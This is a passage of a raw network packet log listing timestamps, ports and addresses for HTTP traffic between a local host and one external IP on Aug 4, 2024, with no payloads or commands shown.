Aug 4, 2024 02:21:39.277720928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277751923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277764082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277784109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277792931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277816057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277827024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277849913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277858973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277882099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277893066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277916908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277925014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277959108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278062105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278093100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278110027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278125048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278132915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278157949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278172016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278188944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278199911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278220892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278232098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278253078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278259039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278285027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278296947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278316021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278326035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278347969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278357983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278381109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278390884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278414011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278424025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278455973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278832912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278868914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278882027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278918982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278920889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.278950930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278983116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.278995991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279015064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279025078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279047966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279058933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279078007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279088974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279109955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279119968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279143095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279153109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279174089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279185057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279206038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279217005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279237986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279249907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279270887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279283047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279303074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279318094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279335022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279345989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279369116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279376984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279401064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279413939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279433012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279443979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279464006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279476881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279496908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279500961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279529095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279540062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279562950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279573917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279596090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279607058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279633999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279644966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279676914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279689074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279707909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279717922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279738903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279756069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279772043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279778957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279803991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279817104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279835939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279848099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279869080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279879093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279901028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279911041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279932976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279942989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279964924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.279970884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.279995918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280006886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280028105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280038118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280060053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280071020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280092001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280102968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280122995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280133963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280158997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280164957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280191898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280203104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280222893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280232906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280255079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280267000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280287981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280298948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280319929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280329943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280364037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280560970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280592918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280616999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280623913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280627966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280656099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280663013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280688047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280697107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280719995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280730963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280751944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280766010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280783892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280796051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280814886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280823946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280846119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280860901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280878067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280889988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280910015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280920982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280941963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280952930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.280973911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.280983925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.281006098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.281019926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.281039000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.281045914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.281073093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.281080961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.281114101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314415932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314482927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314518929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314538956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314553022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314565897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314590931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314625025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314630985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314661026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314665079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314691067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.314702034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.314730883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365554094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365596056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365653038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365665913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365688086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365699053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365731001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365739107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365772963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365782976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365806103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365824938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365839005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365847111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365880013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365890026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365923882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365932941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365957022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.365967989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.365992069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366010904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366024017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366031885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366063118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366075039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366106987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366117954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366154909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366159916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366190910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366200924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366225004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366233110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366256952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366266012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366288900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366298914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366321087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366328955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366353035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366355896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366384983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366391897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366417885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366425991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366450071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366458893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366482973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366487026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366517067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366520882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366559982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366621017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366652966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366684914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366703987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366718054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366730928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366750956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366760969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366784096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366791010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366816044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366822004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366851091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.366853952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.366889000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367017031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367048979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367080927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367084980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367094994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367110014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367122889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367141008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367155075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367173910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367204905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367223024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367238998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367247105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367269993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367283106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367300987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367311954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367331982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367346048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367366076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367376089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367398977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367409945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367449045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367460012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367482901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367495060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367527008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367656946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367707014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367710114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367739916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367753029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367773056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367785931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367808104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367818117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367840052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367858887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367877007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367883921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367909908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367942095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367950916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.367974043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.367981911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368006945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368015051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368040085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368050098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368072987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368077040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368107080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368139029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368153095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368170977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368180990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368206024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368223906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368237972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368247032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368278027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368287086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368310928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368321896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368345022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368356943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368377924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368386030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368412018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368421078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368453979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368623972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368675947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368709087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368711948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368726015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368741989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368752003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368773937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368783951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368805885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368814945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368839979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368853092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368871927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368882895 CEST	49757	80	192.168.2.4	147.45.44.104
